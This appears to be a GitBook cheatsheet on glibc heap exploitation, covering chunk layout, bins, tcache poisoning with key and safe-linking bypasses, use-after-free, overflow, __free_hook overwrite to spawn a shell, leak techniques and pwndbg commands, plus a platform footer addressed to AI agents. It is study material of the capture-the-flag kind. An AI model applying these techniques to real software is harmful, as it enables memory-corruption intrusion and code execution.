> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/04-heap-cheatsheet.md).

# Heap Exploitation Cheatsheet

## ─── CHUNK STRUCTURE (64-bit) ─────────────────────────────────────────────────

```
 ┌─────────────────────────────┐
 │  prev_size  (8 bytes)       │  ← size of prev chunk if free
 ├─────────────────────────────┤
 │  size       (8 bytes)       │  ← size of THIS chunk | P|M|A flags
 ├─────────────────────────────┤  ← malloc() returns pointer here
 │  user data...               │
 │  (min 16 bytes usable)      │
 └─────────────────────────────┘

Freed tcache/fastbin chunk:
 ┌─────────────────────────────┐
 │  prev_size                  │
 ├─────────────────────────────┤
 │  size | flags               │
 ├─────────────────────────────┤
 │  fd → next free chunk       │  ← KEY TARGET for tcache poisoning
 ├─────────────────────────────┤
 │  key (glibc ≥ 2.29)         │  ← &tcache struct, checked on double free
 └─────────────────────────────┘

size flags (lowest 3 bits):
  P (0x1) = prev chunk in use (PREV_INUSE)
  M (0x2) = chunk mmapped
  A (0x4) = non-main arena
```

***

## ─── BIN REFERENCE TABLE ──────────────────────────────────────────────────────

| Bin      | Size range   | Max count | Structure     | glibc |
| -------- | ------------ | --------- | ------------- | ----- |
| Tcache   | 0x20 – 0x408 | 7/bin     | LIFO singly   | ≥2.26 |
| Fastbin  | 0x20 – 0x80  | unlimited | LIFO singly   | all   |
| Unsorted | any          | unlimited | doubly-linked | all   |
| Smallbin | 0x20 – 0x3f0 | unlimited | FIFO doubly   | all   |
| Largebin | ≥ 0x400      | unlimited | doubly sorted | all   |

***

## ─── ATTACK CHEATSHEET ────────────────────────────────────────────────────────

### Tcache Poisoning (glibc 2.26–2.27)

```python
# 1. Free chunk into tcache
free(chunk_a)                          # tcache: A → NULL
# 2. Overwrite fd (UAF or Double Free)
write(chunk_a, p64(target_addr))       # tcache: A → target
# 3. Allocate twice
alloc(size, b'junk')                   # returns A
alloc(size, payload)                   # returns target → write there!
```

### Tcache Poisoning (glibc 2.29–2.31, key bypass)

```python
# After freeing chunk, zero out key before second free
free(chunk_a)
write(chunk_a, b'\x00' * 8 + b'\x00' * 8)   # zero key field at offset 8
free(chunk_a)                                  # double free succeeds
write(chunk_a, p64(target_addr))
```

### Tcache Poisoning (glibc ≥ 2.32, safe-linking)

```python
# fd is XOR-mangled: stored_fd = (chunk_addr >> 12) ^ real_fd
# Need heap base leak to bypass

# Leak heap base: allocate, free, read back the mangled fd
free(chunk_a)
mangled = u64(read(chunk_a)[:8])
heap_base = mangled << 12              # approximate (if fd was NULL)

# Forge mangled fd
def mangle(heap_addr, target):
    return (heap_addr >> 12) ^ target

write(chunk_a, p64(mangle(heap_base, target_addr)))
```

### Use-After-Free (Function Pointer)

```python
# Object with function pointer at known offset
free(obj)
# UAF: write win() address over function pointer
write(obj, b'A' * fp_offset + p64(win_addr))
# Call the method → redirected to win()
trigger(obj)
```

### Heap Overflow (Corrupt Next Chunk Size)

```python
# Overflow from chunk A into chunk B's size field
# Making B appear larger → it will cover chunk C when freed
# → Overlapping chunks → control C's fd through B
write_overflow(chunk_a, b'A'*chunk_a_size + p64(0) + p64(fake_size | 0x1))
free(chunk_b)   # freed with fake size → overlaps C
```

***

## ─── TARGET SELECTION ─────────────────────────────────────────────────────────

| Target             | glibc  | What happens                     |
| ------------------ | ------ | -------------------------------- |
| `__free_hook`      | < 2.34 | Called with ptr on every free()  |
| `__malloc_hook`    | < 2.34 | Called with size on every malloc |
| `__realloc_hook`   | < 2.34 | Called on realloc()              |
| GOT entry          | any    | Redirect next libc call          |
| `_IO_buf_base`     | any    | FSOP (file stream attack)        |
| `tcache_perthread` | ≥ 2.26 | Corrupt counts + entries         |
| Stack ret addr     | any    | Direct RIP control               |
| vtable pointer     | any    | Overwrite C++ vtable             |

### \_\_free\_hook example (glibc < 2.34)

```python
# After tcache poisoning:
target = libc.sym['__free_hook']
# Write system() there
alloc_at_target(p64(libc.sym['system']))
# Free a chunk containing "/bin/sh\x00"
alloc_shell = alloc(size, b'/bin/sh\x00')
free(alloc_shell)   # __free_hook("/bin/sh") = system("/bin/sh") → shell!
```

***

## ─── LIBC VERSION CONSIDERATIONS ─────────────────────────────────────────────

| Version | Feature added                       | Impact                         |
| ------- | ----------------------------------- | ------------------------------ |
| 2.26    | Tcache added                        | Easy double free               |
| 2.27    | Tcache, still no key                | Easy tcache poison             |
| 2.28    | Tcache key check                    | Must zero key for double free  |
| 2.29    | Key = \&tcache struct               | Harder double free             |
| 2.31    | Slight tweaks                       | Still key-based                |
| 2.32    | Safe-linking (XOR fd)               | Need heap leak                 |
| 2.34    | Removed hooks (\_\_free\_hook etc.) | Need different targets         |
| 2.35+   | More hardening                      | House of techniques still work |

***

## ─── HEAP FENG SHUI TRICKS ───────────────────────────────────────────────────

```python
# Fill tcache bin (put 7 chunks so next free goes to fastbin/unsorted)
for i in range(7):
    alloc(0x80, b'fill')
for i in range(7):
    free(i)     # fills tcache
# Now 8th free goes to fastbin/unsorted bin (contains libc ptrs)

# Heap grooming: get two adjacent allocations
a = alloc(0x20, b'A')     # addr X
b = alloc(0x20, b'B')     # addr X + 0x30
free(a)
c = alloc(0x20, b'C')     # same addr as a (reused from tcache)

# Create hole for overlap
a = alloc(0x80, b'A')
b = alloc(0x80, b'B')     # victim
c = alloc(0x10, b'C')     # prevent top chunk consolidation
free(b)
# Now overflow from a into b's size field
```

***

## ─── HEAP LEAK TECHNIQUES ────────────────────────────────────────────────────

```python
# 1. Unsorted bin leak (libc address)
# Allocate large chunk (>0x408), free to unsorted bin
# Read back fd/bk → points into main_arena (libc)
alloc(0x500, b'large')
alloc(0x20, b'guard')   # prevent top consolidation
free(0)                  # → unsorted bin
# fd = bk = main_arena.top or bin addr (libc offset ~0x3ebca0 varies)
leak = u64(read(0)[:8])
libc.address = leak - 0x3ebca0   # adjust per libc version

# 2. Tcache fd leak (heap address)
# glibc ≥ 2.32: mangled fd reveals heap base
# glibc < 2.32: fd of first tcache entry is 0, second has ptr to first
alloc(0x20, b'A')   # chunk 0
alloc(0x20, b'B')   # chunk 1
free(1)              # tcache: 1 → NULL
free(0)              # tcache: 0 → 1 → NULL
heap_leak = u64(read(0)[:8])   # = addr of chunk 1 (plain, pre-2.32)
```

***

## ─── GDB HEAP COMMANDS ────────────────────────────────────────────────────────

```bash
gdb ./vuln
> heap                          # all chunks
> bins                          # all bins
> tcache                        # tcache perthread struct
> tcachebins                    # tcache bin chains
> fastbins                      # fastbin chains
> vis_heap_chunks 0x602000      # visual starting at addr
> malloc_chunk 0x602010         # inspect chunk
> arena                         # main arena
> x/4gx 0x602010                # manual inspect: [prev_size][size][fd][key]
```

***

## ─── HEAPINFO (pwndbg shortcuts) ────────────────────────────────────────────

```
heap             → print_heap
bins             → print_bins
tcache           → print_tcache
vis              → vis_heap_chunks
mp               → mp_ (malloc parameters)
```

***

## ─── HOUSE OF TECHNIQUES (overview) ────────────────────────────────────────

| Technique          | Idea                                         |
| ------------------ | -------------------------------------------- |
| House of Spirit    | Free a fake chunk to control next alloc      |
| House of Force     | Overflow into top chunk size → huge alloc    |
| House of Lore      | Corrupt smallbin FIFO                        |
| House of Einherjar | Off-by-one → backward consolidation          |
| House of Orange    | Corrupt top chunk → unsortedbin attack       |
| House of Rabbit    | Fastbin dup with overlapping                 |
| House of Roman     | Partial overwrite \_\_malloc\_hook (no leak) |
| House of Io        | FSOP via \_IO\_FILE                          |
| Largebin Attack    | Write large value to arbitrary location      |


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/04-heap-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
